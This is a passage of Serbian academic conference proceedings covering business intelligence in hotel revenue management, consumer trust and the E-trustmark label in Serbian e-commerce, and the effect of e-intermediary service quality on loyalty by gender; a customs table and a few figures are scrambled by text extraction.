Tehnologija je pratila potrebe industrije, pa su tako do sada već razvijeni određeni Revenue management ili Yield Management sistemi i aplikacije. Ipak, neuravnoteženi razvoj potreba za različitim segmentima u poslovanju učinio je da, kao što je već gore napomenuto, svaki od ovih sistema funkcioniše odvojeno, bez mogućnosti kombinovanja podataka, njihovog ukrštanja i pravljenja određenih predikcija. Pored toga što se većina hotela danas nalazi na više od jednog IDS kanala, hotelski proizvod se prodaje i putem e-maila, telefona, društvenih mreža, tradicionalnih putničkih agencija itd. Integracija svih ovih podataka o pristiglim rezervacijama, njihovoj detaljnoj analizi, kao i o efektima promocije i pogodnostima koje hotel pruža posrednicima u pojedinim slučajevima, zahteva analizu nekoga od zaposlenih po potrebi. Nekada je ta analiza potrebna na nedeljnom, nekada na mesečnom ili godišnjem nivou, ali nedostatak ovakve analize je upravo u tome što se ona odnosi na prethodni period. To dalje znači da što se ređe radi analiza, zapravo je teže otkloniti posledice eventualnih grešaka koje možemo uočiti ako imamo u vidu da se cene menjaju na dnevnom nivou, kao što je već spomenuto.

BI bi mogao da pruži mogućnost trenutnog uvida u različite kanale prodaje, njihov uspeh, i da na bazi istorijskih rezultata i kombinacijom raspoloživih podataka pravi predikcije. Poznavanje ovog i dalje interesantnog koncepta Revenue Management-a i dobro rukovanje sa savremenim informacionim tehnologijama samo su neka od znanja i veština koja se traže od zaposlenih u savremenom hotelskom preduzeću. Iz tog razloga u narednom poglavlju ćemo se baviti time koja sve znanja, veštine i kompetencije treba da poseduje jedan zaposleni u savremenom hotelskom preduzeću.

4. ZAKLJUČAK

Hotelsko poslovanje obiluje podacima, i dalje predstavlja radno intenzivnu delatnost. Poslovna inteligencija trebalo bi da pomogne u obradi tako velike količine podataka i informacija koje prevazilaze ljudske kapacitete. Uz to, trenutni pristup svim mogućim podacima uz njihovo trajno čuvanje i pregled mogućih scenarija jeste nešto što bi trebalo da značajno unapredi proces donošenja odluke. Poslovna inteligencija donosi i novi kvalitet kombinovanja podataka koji na prvi pogled ne moraju da budu direktno povezane. Ovakav način zaključivanja ostavlja prostor za bolje razumevanje poslovnih aktivnosti i pravovremeno reagovanje i donošenje ispravnih odluka.

U samom radu predstavljene su koristi od poslovne inteligencije prilikom rešavanja različite vrste kompleksnih problema koje prevazilaze kapacitete ljudskog uma. Dati su predlozi za implementaciju određenih elemenata iz strategijskog menadžmenta kako bi proces uvođenja poslovne inteligencije bio uspešno i kvalitetno implementiran. Ukazano je na neophodnost usklađivanja strategije organizacije i operativnog poslovanja, kao i na merenje učinaka koji treba da posluže kao polazna osnova prilikom projekcije budućih dešavanja.

² Detaljnije o ovom i sličnom programu i njihovim prednostima videti u radu (Čerović, Knežević, Borovčanin, THE ROLE OF INFORMATION AND COMMUNICATION AND COM-MUNICATION TECHNOLOGY IN GUEST SATISFACTION ANALYSIS, 2016)

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E-COMMERCE SYSTEMS

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POVERENJE POTROŠAČA U ELEKTRONSKOJ TRGOVINI: OZNAKA POVERENJA (E-TRUSTMARK) U REPUBLICI SRBIJI

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Rezime:

Cilj ovog rada je ukazivanje na problem manjka poverenja potrošača u Republici Srbiji kada je u pitanju kupovina preko interneta. Iako je onlajn kupovina popularna u razvijenim zemljama i predstavlja jedan od najefikasnijih načina obavljanja transakcije između prodavca i kupca posredstvom interneta, u Republici Srbiji je značajno drugačija situacija. Istraživanje sprovedeno 2015. godine pokazuje da je samo 35% građana Republike Srbije koristilo e-commerce sistem trgovanja. Jedan od načina prevazilaženja suzdržanosti kupaca prema elektronskoj trgovini jeste pomoću oznake poverenja E-trustmark, uvedene od strane projekta Razvoj elektronskog poslovanja, koja predstavlja garanciju bezbedne trgovine. U ovom radu posebnu pažnju ćemo usmeriti ka novom konceptu poverenja koji će se u budućnosti koristiti kao merilo bezbednosti i kvaliteta B2C modela poslovanja. Zaključak istraživanja ukazuje na potencijalno otklanjanje prepreka koje se tiču poverenja potrošača pomoću oznake poverenja, kao i načine da se prevaziđu barijere između prodavaca i kupaca u elektronskoj trgovini.

Ključne reči:

elektronska trgovina, E-commerce, oznaka poverenja, E-trustmark, potrošači.

1. UVOD

Elektronska trgovina ili *e-commerce* predstavlja proces razmene proizvoda i usluga korišćenjem elektronske platforme kao posrednika između prodavca i potrošača. Osnovni modeli elektronskog poslovanja poznati su kao:

- B2B (*Business to Business*) predstavlja trgovanje između dva ili više privrednih subjekata. Ovaj model poslovanja predstavlja veoma efikasan način razmene proizvoda i usluga, pa čak i informacija. Transakcije između subjekata značajno su olakšane, a predstavlja i pogodnost kod nabavke robe, s obzirom na to da se ona može pribaviti elektronskim putem. Ovakav model karakterističan je u poslovanju između proizvođača i veleprodajnih subjekata, ili između veleprodajnih i maloprodajnih društava. Za razliku od B2C modela poslovanja, B2B model podrazumeva poslovanje sa manjim brojem kupaca, ali koji pojedinačno uglavnom stvaraju veći promet [1].
- B2C (Business to Consumer) predstavlja trgovanje između privrednog subjekta u ulozi prodavca, koji posredstvom

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veb-sajta direktno prodaje svoje proizvode krajnjem potrošaču. Ovakav prodajni model poslovanja trenutno je najzastupljeniji i najefikasniji u modernom poslovanju, što je rezultat ekspanzije upotrebe interneta u vidu elektronske trgovine. B2C poslovni model karakterističan je po velikom broju potrošača, ali koji pojedinačno ostvaruju promet u manjem obimu. Jedan od razloga novčano manjih transakcija je predostrožnost. U slučaju da dođe do neispunjenja obaveza od strane prodavca, tj. prevare, izgubljena novčana suma za kupca biće manja.

 C2C (*Consumer to Consumer*) – predstavlja trgovanje između pojedinaca koji posredstvom interneta (veb-sajta) vrše prodaju svoje pokretne i nepokretne imovine, ili nude određene usluge.

U ovom radu akcenat će biti na poslovnom modelu B2C, s obzirom na to da se upravo kod ovog oblika trgovanja postavlja pitanje poverenja potrošača. Ne možemo da zanemarimo ni C2C model kod kojeg se javljaju isti problemi.

2. PROBLEM POVERENJA POTROŠAČA U ELEKTRONSKOJ TRGOVINI

Elektronska trgovina evoluirala je godinama, od prvih oblika elektronskih transakcija 90-ih godina, pa do danas. Sistem je karakterisao veliki broj unapređenja, zarad bolje dostupnosti informacija i lakše kupovine proizvoda. Uprkos efikasnosti funkcionisanja ovakvog sistema, kao što su brzina i jednostavnost kupovine i prodaje proizvoda i usluga koje se obavljaju onlajn, poverenje potrošača i dalje predstavlja ograničenje. Ovaj problem nije tolikih razmera u razvijenim zemljama sveta zbog razlika u ključnim stavkama u odnosu na Republiku Srbiju [2]:

• Dostupnost usluga zavisi od države u kojoj kupac živi – opšteprisutan problem isporuke roba i usluga u zemlje u razvoju. Takve zemlje ne predstavljaju ciljnu grupu većini privrednih društava iz razvijenih privrednih sistema zbog malog potencijalnog prometa. Ulaskom PayPal-a na domaće tržište 2015. godine, građanima Republike Srbije omogućen je lakši pristup elektronskoj trgovini. Postojanje ovakve mogućnosti je od ključnog značaja za dalji razvoj srpske privrede, konkretno izvoza, iz razloga što omogućava bržu naplatu prodatih dobara [3]. Veliki i razvijeni sistemi za elektronsku trgovinu poput Amazona, Alibabe i E-bay-a prevazišli su pomenute barijere koje se tiču isporuke naručenih dobara.

Visoki i nepredviđeni troškovi isporuke – i dalje postoje problemi koji se tiču visokih troškova prilikom dostave naručenih proizvoda. Na određenim veb-sajtovima, kao što je Amazon, može se poručiti knjiga za koju se pouzdano zna da će stići, međutim kupac neretko odustaje od kupovine zbog prevelikog iznosa predračuna za dostavu u željenu zemlju. U većini slučajeva pomenuti iznos je mnogo veći od vrednosti samog proizvoda. Takođe, kupci su često uslovljeni minimalnim novčanim iznosima koje moraju potrošiti kako se dostava ne bi naplaćivala, što je još jedan od razloga suzdržanosti kupca prema kupovini putem interneta. Susret sa nepredviđenim troškovima često nastupa tek nakon izvršene transakcije ili pre dostave proizvoda na kućnu adresu. Previsoki troškovi carine su jedan od razloga zašto kupci često odustaju od kupovine preko interneta. U praksi se kupci obično opredeljuju za jeftinije proizvode, pa obično dođe do situacije da su troškovi carine veći od vrednosti robe. Na osnovu sledeće tabele prikazaćemo način obračuna troškova carine i poreza na dodatnu vrednost (PDV) na pošiljke iz inostranstva [4].

Što se tiče načina utvrđivanja visine stope poreza na dodatnu vrednost, ona zavisi prvenstveno od tipa pošiljke, zatim od tipa pošiljaoca, kao i vrednosti robe. Razlikuju se posebna stopa poreza od 10% i opšta stopa poreza od 20%, koja se obračunava na vrednost i promet dobara i usluga, ali i uvoza istih [5].

 Nedostatak kontrole – zbog povećanog broja korisnika koji vrše kupoprodaju na onlajn platformama i prirode interneta koja dozvoljava određen nivo slobode pri registraciji, rizik od malverzacija je veliki. Kako bi se korisnici zaštitili, nastali su projekti kao što je oznaka poverenja E-trustmark, kao i internet platforma E-dukator, koja nudi odgovore na sva pitanja vezana za prava potrošača, sigurnost kupovine i nedoumice oko poslovanja sa prodavcima [6]. Pomenuta velika privredna društva razvila su sistem garancije pokrića eventualnih gubitaka u slučaju prevara ili bilo kakvih oblika zloupotrebe i manipulacije pri kupovini, kao i forume organizovane za kupce na kojima su oni u mogućnosti da ocenjuju prodavce nakon izvršene transakcije [7].

Pošiljalac	Fizičk	to lice	Pravno lice		
Tip pošiljke	Komerci- jalna	Lična upotreba	Komerci- jalna	Lična upotreba	
Vrednost robe					
Do 50 €			{(Vrednost robe + Troškovi poštarine) + Carin- ska stopa} + PDV + Ostali troškovi	Vrednost robe + PDV + Ostali fiksni troškovi	
Preko 50 €			{(Vrednos Troškovi p + Carinska PDV + Os trošk	st robe + ooštarine) a stopa} + tali fiksni covi	
Do 70 €	{(Vrednost	Ostali troškovi			
Preko 70 €	Troškovi poštarine) + Carinska stopa} + PDV + Os- tali fiksni troškovi	{(Vrednost robe + Troškovi poštarine) + Carinska stopa} + PDV + Ostali troškovi			

Tabela 1. Način obračuna troškova carine i pdv-a na pošiljke iz inostranstva.

Izvor:https://www.mycity.rs/E-Kupovina-i-placanje/Racunanje-carine-i-PDVa-na-posiljke-iz-inostranstva-kupljene-prekoint.html

3. STATISTIKA

Sledeći statistički podaci ukazuju na relativno slabu upotrebu elektronske trgovine u Republici Srbiji, što predstavlja solidnu osnovu za implementaciju projekta oznake poverenja *E-trustmark*.

Kada je reč o vremenskom okviru u kom su korisnici interneta kupovali/poručivali robu ili usluge putem interneta, statistika je sledeća: 26,3% korisnika obavilo je kupovinu/poručivanje u poslednja tri meseca, 12,0% pre više od tri meseca, a 7,1% pre više od godinu dana. Sa druge strane, većina korisnika (54,6%) nikada nije kupovala/poručivala robu ili usluge putem interneta. U poslednjih godinu dana, preko 145.000.000 lica kupovalo je ili poručivalo robu/usluge putem interneta u poslednjih godinu dana.



Slika 1. Kupovina robe ili usluga putem interneta. Izvor: Republički zavod za statistiku (Употреба информационо- комуникационих технологија у Републици Србији, 2016.)

U odnosu na 2015. godinu, broj lica koja su kupovala ili poručivala robu/usluge putem interneta povećao se za nešto više od 230 000.



Slika 2. Novčani iznos kupljene robe ili usluga putem interneta.

Izvor: Republički zavod za statistiku (Употреба информационо- комуникационих технологија у Републици Србији, 2016.)

4. OZNAKA POVERENJA E-TRUSTMARK

Kao rezultat nedostatka kontrole u elektronskoj trgovini počeli su da se razvijaju projekti među kojima se našla i oznaka poverenja E-trustmark, čiji je cilj da se omogući bezbednost transakcija i poverenje potrošača u sistem elektronske trgovine.

Oznaku poverenja dodeljuje projekat Razvoj elektronskog poslovanja u saradnji sa Ministarstvom trgovine, turizma i telekomunikacije i Ministarstvom privrede Republike Srbije. U septembru 2016. godine srpskim privrednim društvima omogućeno je da steknu takozvanu oznaku poverenja *E-trustmark* u elektronskoj trgovini, u okviru projekta za Razvoj elektronskog poslovanja, finansiranog od strane Evropske unije. Implementacija ove oznake ima za cilj da uspostavi poverenje pre svega potrošača, s obzirom na to da se plaćanje uglavnom vrši unapred. Ovaj koncept pruža garanciju u vidu kvaliteta i pouzdanosti prilikom poručivanja roba ili usluga. Oznaka se nalazi na sajtu kompanije koja je ispunila sve kriterijume za dobijanje sertifikata u vidu *E-trustmark* oznake. U protekle dve godine, pomenutu oznaku dobilo je 66 malih i srednjih privrednih društava u Republici Srbiji [8]. Neka od poznatih privrednih društava koja poseduju ovaj sertifikat su: Delfi knjižare, Jumbo travel d.o.o., Gigatron d.o.o., Diopta d.o.o., Beo Sport kao i mnogi drugi sistemi.

5. KRITERIJUMI ZA DODELU SERTIFIKATA OZNAKE POVERENJA

Da bi pravna lica mogla da dobiju oznaku, moraju biti registrovana kod Agencije za privredne registre, odnosno obavljati privredne, institucionalne ili neprofitne aktivnosti. Ostali kriterijumi su:

- Većinsko vlasništvo domaćeg pravnog lica;
- Pravno lice ili preduzetnik je registrovan na teritoriji Republike Srbije;
- Uspešno poslovanje u prethodne dve godine;
- Plaćeni troškovi poreza i doprinosa [9].

Pored navedenih kriterijuma, organizacije moraju da imaju neophodnu tehničku funkcionalnost, kao i da poseduju iskustvo u radu u oblasti elektronskog trgovanja.

6. PREDNOST VELIKIH SISTEMA

Velika, razvijena i stabilna privredna društva koja su zahvaljujući svom dugogodišnjem profitabilnom poslovanju i ulaganju u marketing stekla reputaciju na tržištu, u prednosti su kod izbora prodavca od strane kupca. Srednjim i malim privrednim subjektima, kao i preduzetnicima, ova sertifikacija omogućava potencijalno povećanje prodaje, veću konkurentnost na tržištu i izgradnju poverenja od strane kupaca.

Prethodnih godina, zadovoljavanje potrošača nije bio prioritet, za razliku od povećanja prometa prodaje proizvoda ili usluga na tržištu. Utisak o prodavcu kupac je mogao da stekne isključivo na osnovu preporuke. Danas se trgovina znatno izmenila, s obzirom na to da je zbog transparentnosti poslovanja i dostupnosti informacija kupcu putem internet pretraživača poverenje kupaca veoma teško steći. Privredno društvo koje se bavi elektronskom trgovinom trebalo bi da ima za cilj da maksimizira vrednost za kupca. Ono mora da omogući pre svega srazmeran odnos između cene i kvaliteta, pravovremeno izvršenje usluga u optimalnom vremenskom okviru [10].

7. ZAKLJUČAK

Na osnovu prethodno iznetih podataka koji ukazuju na slabo korišćenje i suzdržanost kupaca prema elektronskoj trgovini u Republici Srbiji, dolazimo do zaključka da problem poverenja kupaca predstavlja veliku prepreku u razvoju srpske privrede (posebno privrednih društava koja se bave elektronskom trgovinom). Projekat Razvoj elektronskog poslovanja i uvođenje oznake poverenja E-trustmark predstavljaju potencijalno rešenje i način za otklanjanje navedene prepreke. U Republici Srbiji sertifikovano je 66 malih i srednjih privrednih društava iz različitih delatnosti koje su ovaj sistem prepoznale kao garanciju sigurnosti elektronske trgovine i unapređeni način komuniciranja sa potencijalnim kupcima. S obzirom na to da je u pitanju projekat koji je započet tek 2016. godine, očekuje se sve veći odziv privrednih društava koja su zainteresovana za ovaj način sertifikacije. Preporuke za buduća istraživanja odnose se na pronalaženje konkretnih načina sprovođenja elektronske trgovine u Republici Srbiji, kako bi se taj sistem razvio i kako bi se potrošačima omogućila lakša, brža i efikasnija kupovina.

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E-COMMERCE AND CUSTOMERS' TRUST: THE PHENOMENON OF E-TRUST IN SERBIA

Abstract:

The main purpose of this paper is to emphasize the problem of the lack of consumer trust in the system of electronic commerce, in the Republic of Serbia. Despite the popularity of "online" shopping in developed countries and its efficient ways of completing transactions between sellers and buyers, through Internet, the situation in the Republic of Serbia is much different. The results of a research study conducted in the year of 2015 show that only 35% of citizens in the Republic of Serbia use the e-commerce system. One of the ways in which the problem of buyers' restraint towards e-commerce can be overcome is an "E-trustmark" sign, implemented by the project called Development of electronic business, which guarantees end buyers that their trade will be safe. In this paper, we will focus on this new concept of consumer trust, which will be used as a safety and quality measurement in the B2C business model. The conclusion of the research points to potential elimination of obstacles regarding the consumer trust and ways to overcome barriers between a seller and a buyer in an e-commerce system, with the help of "E-trustmark" sign.

Keywords:

electronic commerce, e-commerce, E-trustmark, consumers.



LOJALNOST KORISNIKA I MODERATORSKA ULOGA POLA NA ZADOVOLJSTVO USLUGOM E-POSREDNIKA ZA KUPOVINU SMEŠTAJA

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Rezime:

Poslovanje preko interneta postaje sve značanije, i sve veći broj klijenata rezerviše smeštaj preko interneta. Cilj ovog istraživanja bio je da utvrdi vezu između zadovoljstva korisnika iz Srbije kvalitetom usluge koju pružaju eposrednici za rezervaciju smeštaja i njihove lojalnosti tim sistemima. Takođe, cilj istraživanja bio je i da se utvrdi da li među polovima postoje razlike u percepciji kvaliteta usluge e-posrednika. Pearson matrica i višestruka regresivna analiza korišćeni su da bi utvrdili uticaj šest dimenzija kvaliteta e-usluge na zadovoljstvo i uticaj zadovoljstva na lojalnost korisnika. Upitnici su bili distribuirani na srpskom jeziku putem e-maila, društvenih mreža, i u štampanom izdanju. Ukupno je prikupljeno 148 validnih upitnika. Studija je pokazala da postoje razlike u percipiranju kvaliteta e-usluge među ženama i muškarcima. Tri dimenzije kvaliteta (Kvalitet informacija, Personalizacija i Pouzdanost) čine 80,7% zadovoljstva kod žena, dok je kod muškaraca jedino dimenzija kvalitet informacija pokazala značajan uticaj na zadovoljstvo sa indeksom determinacije od 49,6%. Ovo istraživanje takođe je pokazalo i da zadovoljstvo korisnika uslugom e-posrednika za kupovinu smeštaja ne utiče na bihejvioralne namere korisnika iz Srbije.

Ključne reči:

kvalitet e-usluga, e-lojalnost, e-posrednici, Srbija, internet.

1. UVOD

Broj rezervacija smeštaja preko interneta konstantno raste, kao i broj e-posrednika. Većina hotelskih lanaca ima svoje sisteme za rezervacije preko interneta, kao i sve veći broj individualnih hotela. Ovakva situacija pruža klijentima veliku mogućnost izbora i kanala rezervacija. Među brojnim e-posrednicima prisutno je nekoliko dominantnih sistema kao što su npr. Booking.com i Expedia. Postavlja se pitanje: koliko zadovoljstvo kvalitetom usluge koju pružaju ovi sistemi utiče na lojalnost korisnika izabranom sistemu ili sistemima? Prema podacima Republičkog zavoda za statistiku, u Srbiji oko 1/3 korisnika intereneta kupuje robu ili usluge na internetu, a kada je u pitanju kupovina smeštaja taj broj je značajno manji (8,9% u 2015. godini) [1]. Očekivanja korisnika interneta u Srbiji prilikom kupovine smeštaja preko interneta i njihovo zadovoljstvo istom mogu biti povezani sa ovim trendom. Takođe, postavlja se pitanje: u kojoj meri zadovoljstvo korisnika iz Srbije kvalitetom usluge e-posrednika utiče na njihove bihejvioralne namere, odnosno na lojalnost? Razlike u stavovima među polovima često su bile predmet istraživanja iz oblasti marketinga i menadžmenta u turizmu. Segmentacija pomoću demografskih osobina je prvi korak u ovakvim istraživanjima, jer postoji niz turističkih proizvoda kod kojih je očigledno da su demografske karakteristike presudne [2, 3, 4]. Kako bi što bolje bilo sagledano zadovoljstvo korisnika, te uticaj na lojalnost, polna struktura ispitanika korišćena je kao moderator u istraživanju.

2. PREGLED LITERATURE

Kvalitet e-usluge

Iz razlika kvaliteta tradicionalnih usluga i kvaliteta e-usluga, može se izvesti pretpostavka da postoje razlike i u načinu na koji se potrebe korisnika zadovoljavaju, tj. kojim se dovodi do zadovoljstva korisnika. Jedna od definicija kaže da "satisfakcija korisnika usluga zavisi od zapažene uspešnosti proizvoda od strane korisnika, u dostavljanju vrednosti u skladu sa korisnikovim očekivanjima" [5]. Referenca [6] smatra da je najočiglednija razlika između tradicionalnih i elektronskih usluga zamena interakcije čoveka sa čovekom interakcijom čoveka sa mašinom.

Referenca [7] definisala je koncept kvaliteta e-usluge kao "meru u kojoj veb-sajt olakšava efikasno i efektivno prikupljanje informacija, kupovinu i dostavu proizvoda i usluga" [7]. Dodatno, ključna dimenzija uspeha kompanije koja koristi najnovije tehnologije nije niska cena ili kvalitet internet stranice, već kvalitet e-usluge [8]. Mala je verovatnoća da će korisnici ocenjivati detaljno svaki pot-proces tokom jedne internet kupovine, već će percipirati uslugu kao sveobuhvatni proces i ishod [9]. Takođe, osobine konkretnog korisnika mogu uticati na karakteristike koje korisnik želi od idealnog veb-sajta i nivoe učinka koji bi signalizirali superiorni kvalitet e-usluga [10].

E-lojalnost korisnika

Kao i lojalnost korisnika pri klasičnoj kupovini, elojalnost takođe ima pozitivan uticaj na usmenu preporuku i spremnost da se plati više [11]. Referenca [12] e-lojalnost definiše kao percipiranu nameru korisnika da u budućnosti koristi veb-sajt i da razmatra kupovinu preko istog u budućnosti.

Iako i tradicionalni i e-prodavci imaju određene zajedničke izazove, e-prodavci suočavaju se sa većom konkurencijom usled činjenice da su na internetu konkurenti lako dostupni. E- prodavci stoga mogu da imaju poteškoća da privuku i zadrže korisnike na e-tržištu sa sve jačom konkurencijom [13]. Dakle, i u e-poslovanju, kvalitet e-usluge ima značajan uticaj i na e-zadovoljstvo i na e-lojalnost korisnika [14]. Referenca [15] pokazala je da uticaj e-zadovoljstva na e-lojalnost može značajno biti moderirano individualnim varijabilama (inertnost, motivacija na bazi komfora i veličina kupovine), i kompanijskim varijabilama (poverenje i percipirana vrednost). Stoga, postavlja se pitanje: da li zadovoljstvo pruženom e-uslugom ima medijatorsku ulogu između dimenzija kvaliteta usluge i e-lojalnosti i u kojoj meri?

U literaturi iz oblasti marketinga, brojni autori doveli su u vezu zadovoljstvo korisnika proizvodima i uslugama sa lojalnošću korisnika, gde je najčešće zadovoljstvo korisnika prihvaćeno kao prethodnik lojalnosti [16, 17]. Iako postoje studije [18] koje pokazuju potpunu medijaciju zadovoljstva korisnika između kvaliteta usluge i lojalnosti [19, 20], znatno je više empirijskih istraživanja koja ukazuju na parcijalnu medijacijsku ulogu zadovoljstva korisnika. Stepen zadovoljstva korisnika pozitivno i direktno utiče na nivoe lojalnosti veb-sajtu [21], što pokazuje da i u e-poslovanju zadovoljstvo kvalitetom usluge utiče na e-lojalnost. Dodatno istraživanje beleži medijatorsku ulogu zadovoljstva, s obzirom na to da je nalazi između nivoa percepiranog kvaliteta i nivoa lojalnosti.

Internet korisnici ne mogu da iskuse uslugu ili prozvod pre kupovine, što ih čini nesigurnim u vezi sa kupovinom. Kako bi se minimizirala njihova nesigurnost, e-kompanije treba da ponude prepoznatljivost brenda, dobar kvalitet proizvoda, kao i garancije [22]. Investicije u dizajn veb-sajta mogu da povećaju poverenje korisnika i njihove namere da kupuju onlajn [23]. Kvalitet veb-sajtova ima direktan i indirektan uticaj i na zadovoljstvo i na poverenje, a poverenje i ukupno zadovoljstvo mogu predstavljati glavne preduslove e-lojalnosti [24].

Gledano sa stanovišta polne strukture, postoje razlike među polovima koje su bitne sa za kreiranje adekvatne marketing strategije. Žene postaju većina u onlajn kupovini [25], koriste društvene mreže, e-kupovinu i veb-sajtove za igranje više od muškaraca, a svoje pretrage obavljaju na internetu i traže mišljenja drugih žena.

Promene položaja žena u društvu u drugoj polovini 20. veka (oko 70% žena u svetu je zaposleno izvan kuće; žene kupuju ili utiču na kupovinu u oko 85% slučajeva; žene kontrolišu oko 65% globalne potrošnje itd.) doveli su do promena i u oglašavanju i u istraživanjima u kojima su istraživači nastojali da utvrde da li se oglašavanje prilagodilo društvenim promenama [26]. Razlike između

polova, gde su muškarci više orijentisani prema konkretnom zadatku ili cilju, a žene više prema odnosima, utiču na to kako polovi opažaju okolinu, kao procesuiraju, procenjuju i pribavljaju informacije i kako donose sud [18].

Modeli istraživanja zadovoljstva e-uslugom i lojalnosti korisnika

Većina istraživanja kvaliteta usluga i zadovoljstva potrošača bila je bazirana na tradicionalnim modelima. Jedan od najkorišćenijih i najpriznatijih modela istraživanja zadovoljstva potrošača je svakako SERVQUAL model. Međutim, kupovina preko interneta, e-trgovina, podrazumeva primarno interakciju korisnika sa veb-sajtovima, tj. tehnologijom, umesto sa čovekom kao pružaocem usluge. Stoga, bilo je potrebno prilagoditi tradicionalni SERVQUAL model istraživanjima kvaliteta usluge u etrgovini, odnosno kvaliteta e-usluge. Neki od modela su npr. SITEQUAL sa 4 dimenzije [27] i WebQual sa 12 dimenzija [28]. Još jedan od često korišćenih modela je model eTailQ sa 4 dimenzije [27]. Studija vezana za kvalitet internet usluga, bazirana na ranijem istraživanju kvaliteta usluga u tradicionalnim kanalima distribucije istih autora, razvijene su dve skale: E-S-QUAL skalu sa 4 dimenzije i E-RecSQAUL sa 3 dimenzije [10].

Kako je većina istraživanja bila koncetrisana na pružanje usluga internet prodaje ili na kvalitet dizajna veb-sajta, PeSQ model razvijen je kako bi ukazao na one aspekte e-usluge, pored dizajna i upotrebljivosti, koji takođe utiču na korisnikovu percepciju kvaliteta usluge [21]. Istraživanje vezano za usvajanje internet bankarstva u cilju poboljšanja kvaliteta usluge rezultiralo je modelom sa 6 dimenzija kvaliteta e-usluge [30]. Referenca [31] identifikuje uticaj pojedinačnih dimenzija kvaliteta e-usluge na različite vrste lojalnosti korisnika određenoj usluzi (npr. da li je lojalnost vezana za cenu ili lične preverencije). Konceptualni model koji je sproveden u Austriji [32] namenjen je istraživanju kvaliteta e-usluga internet sistema za preporuku krajnjim korisnicima. Mnogi od kasnijih modela su za polaznu osnovu imali jedan ili više pomenutih modela.

3. MODEL ISTRAŽIVANJA I HIPOTEZE

Kako bi bio obuhvaćen ceo spektar pitanja vezanih za korisničke usluge (npr. povraćaj proizvoda), sve faze istraživanja, koje je bilo osnova [10] konceptualnog modela [32] korićenog za potrebe ovog istraživanja, bile su fokusirane na veb-sajtove koji su prodavali (fizičke) proizvode. Stoga, prioritet istraživanja veb-sajtova koji nude samo usluge potreba je da se ispitaju skale u ovom kontekstu, da se naprave neophodne modifikacije, i da se procene psihometričke karakteristike modifikovanih skala [10].

Model istraživanja

Za potrebe ovog istraživanja korišćen je konceptualni model [32] namenjen istraživanju kvaliteta e-usluga internet sistema za preporuku krajnjim korisnicima (Business-to-Consumer recommender systems), među kojima su i sistemi za rezervaciju smeštaja i drugih turističkih proizvoda. Oni su napravili model sa 6 dimenzija koje utiču na zadovoljstvo potrošača, te na njihove bihejvioralne namere.

Razvoj hipteza

S obzirom na da je korišćeni model zasnovan na istraživanju koje je obuhvatilo i e-posrednike za rezervaciju smeštaja, a da je osnova za razvoj tog modela bilo istraživanje na kome se zasnivao i razvoj modela E-S-QUAL [10], autori su odlučili da primene pomenuti konceptualni model.

U skladu sa problematikom istraživanja i dimenzijama modela koji je upotrebljen, postavljene su i polazne hipoteze rada:

Hipoteza 1: "Pouzdanost pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Hipoteza 2: "Struktura/upotrebljivost pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Hipoteza 3: "Kvalitet informacija pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Hipoteza 4: "Efikasnost pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Hipoteza 5: "Bezbednost pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Hipoteza 6: "Personalizacija pozitivno utiče na zadovoljstvo kvalitetom e-usluge"

Prateći prethodna istraživanja zadovoljstva korisnika i moderatorske uloge polne strukture, definisana je i sledeća hipoteza:

Hipoteza 7: "Postoje razlike u uticaju dimenzija kvaliteta na zadovoljstvo korisnika prema polovima"

Takođe, kako je cilj istraživanja bio da se utvrdi uticaj zadovoljstva korisnika na bihejvioralne namere, odnosno na njihovu lojalnost, definisana je i sledeća hipoteza:

Hipoteza 8: "Zadovoljstvo kvalitetom elektronske usluge utiče pozitivno na bihejvioralne namere korisnika"

4. METODOLOGIJA ISTRAŽIVANJA

Instrumenti istraživanja i procedure

Kao instrument istraživanja, autor je izabrao upitnik baziran na upitniku izabranog modela [32]. Upitnik je dizajniran za prikupljanje informacija o iskustvu korisnika sistema za rezervaciju smeštaja na internetu, kao i da bi ukazao na uticaj dimenzija kvaliteta e-usluge na zadovoljstvo korisnika, te posledično na njihove bihejvioralne namere, odnosno lojalnost.

Upitnik se sastojao iz dva dela. Prvi deo upitnika bio je namenjen prikupljanju osnovnih demografskih podataka o korisnicima, kao i podataka o načinu na koji koriste sisteme za rezervacije smeštaja preko interneta.

Drugi deo upitnika imao je ukupno 27 stavki (atributi kvaliteta usluge, zadovoljstvo i bihejvioralne namere), od kojih se 22 odnosilo na dimenzije kvaliteta e-usluge (6 dimenzija), dok su se preostale odnosile na zadovoljstvo korisnika (3) i njihove bihejvioralne namere (2). Ispitanici su iznosili svoje mišljenje o tome u kojoj se meri slažu ili ne slažu sa svakom izjavom kao ocenu kvaliteta doživljenog iskustva prilikom rezervisanja smeštaja preko veb-sajta e-posrednika. Upitnici su napravljeni prema Likertovoj skali sa 7 nivoa, u rasponu od 1 (Potpuno nebitno/U potpunosti se ne slažem) do 7 (Veoma bitno/U potpunosti se slažem).

S obzirom na to da ovo istraživanje obuhvata istraživanje samo sistema za rezervaciju smeštaja preko interneta, pojedine stavke upitnika dodatno su prilagođene specifičnostima istraživanja.

Kako bi se obezbedila validnost istraživanja, hipoteze su postavljene na bazi postojećih modela istraživanja zadovoljstva kvalitetom e-usluge i e-lojalnosti, kao i na osnovu referenci iz literature. Dalje, pilot testiranje sprovedeno je na deset doktoranada sa različitih univerziteta u Srbiji, na osnovu čega je upitnik dodatno prilagođen. Upitnici su distribuirani elektronski slanjem upitnika za popunjavanje na e-mail adrese unverziteta i turističkih kompanija u Srbiji, kao i putem društvenih mreža. Deo ispitanika sa kojima su autori imali direktan kontakt popunio je upitnik u štampanoj formi. Upitnici su urađeni samo na srpskom jeziku, s obzirom na cilj istraživanja.

Od ukupnog broja od 384 upitnika, validnih je bilo svega 148, odnosno 38,54%. Validnim upitnicima podrazumevani su samo oni upitnici koji su bili popunjeni u celosti, kao i oni gde su ispitanici ispunjavali postavljene preduslove: da su građani Srbije i da su u poslednjih 12 meseci rezervisali smeštaj preko nekog od e-posrednika. Kako bi se dodatno osigurala validnost istraživanja, svi upitnici prikupljeni su u periodu od 3 meseca (julseptembar 2015. godine), čime su značajno smanjene mogućnosti za značajne promene u percepciji korisnika.

